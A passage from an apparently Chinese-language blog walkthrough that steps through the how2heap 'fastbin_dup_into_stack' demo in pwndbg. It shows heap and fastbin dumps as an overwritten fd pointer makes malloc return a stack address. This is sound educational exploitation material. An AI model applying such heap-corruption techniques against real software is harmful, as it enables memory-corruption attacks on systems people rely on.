0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x62
 R10  0x32783020a29de98d
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400973     lea    rax, [rbp - 0x48]
   0x400977     sub    rax, 8
   0x40097b     mov    rdx, rax
   0x40097e     mov    rax, qword ptr [rbp - 0x28]
   0x400982     mov    qword ptr [rax], rdx
 ► 0x400985     mov    edi, 8
   0x40098a     call   malloc@plt <0x400580>
 
   0x40098f     mov    qword ptr [rbp - 0x18], rax
   0x400993     mov    rax, qword ptr [rbp - 0x18]
   0x400997     movabs rcx, 0x4646464646464646
   0x4009a1     mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   44     stack_var = 0x20;
   45 
   46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
   47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
   48     
 ► 49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400985 main+735
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中

Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54          fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7fffffffe570 ◂— 'GGGGGGGG'
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x0
 RDX  0x7fffffffe570 ◂— 'GGGGGGGG'
 RDI  0x0
 RSI  0x4747474747474747 ('GGGGGGGG')
 R8   0x603010 ◂— 'FFFFFFFF'
 R9   0x44
 R10  0xe8be93e9206e6962
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x4009e8 (main+834) ◂— 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009e8     mov    rax, qword ptr [rip + 0x201671] <0x602060>
   0x4009ef     mov    rdx, qword ptr [rbp - 0x10]
   0x4009f3     mov    esi, 0x400e68
   0x4009f8     mov    rdi, rax
   0x4009fb     mov    eax, 0
   0x400a00     call   fprintf@plt <0x400570>
 
   0x400a05     mov    eax, 0
   0x400a0a     mov    rcx, qword ptr [rbp - 8]
   0x400a0e     xor    rcx, qword ptr fs:[0x28]
   0x400a17     je     main+888 <0x400a1e>
 
   0x400a19     call   __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   49     char* f = malloc(8);
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
 ► 54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
   55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ rax rdx  0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│          0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009e8 main+834
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbed0 ◂— 0xace680b8e499bfe8
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x3d
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
 RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
 RIP  0x400a0a (main+868) ◂— 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4009f3            mov    esi, 0x400e68
   0x4009f8            mov    rdi, rax
   0x4009fb            mov    eax, 0
   0x400a00            call   fprintf@plt <0x400570>
 
   0x400a05            mov    eax, 0
 ► 0x400a0a            mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
   0x400a0e            xor    rcx, qword ptr fs:[0x28]
   0x400a17            je     main+888 <0x400a1e>
    ↓
   0x400a1e            leave  
   0x400a1f            ret    
 
   0x400a20 <__libc_csu_init>    push   r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
   50     strcpy(f, "FFFFFFFF");
   51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
   52     char* g = malloc(8);
   53     strcpy(g, "GGGGGGGG");
   54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
 ► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│      0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a0a main+868
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4646464646464646      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020      0x4747474747474747
0x7fffffffe578: 0x0000000000603000      0x0000000000603050
0x7fffffffe588: 0x0000000000603010      0x0000000000603030
0x7fffffffe598: 0x0000000000603010      0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300      0x0000000000400a20
pwndbg> 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

你可能感兴趣的:(逆向,二进制,Re,网络安全,安全,安全架构)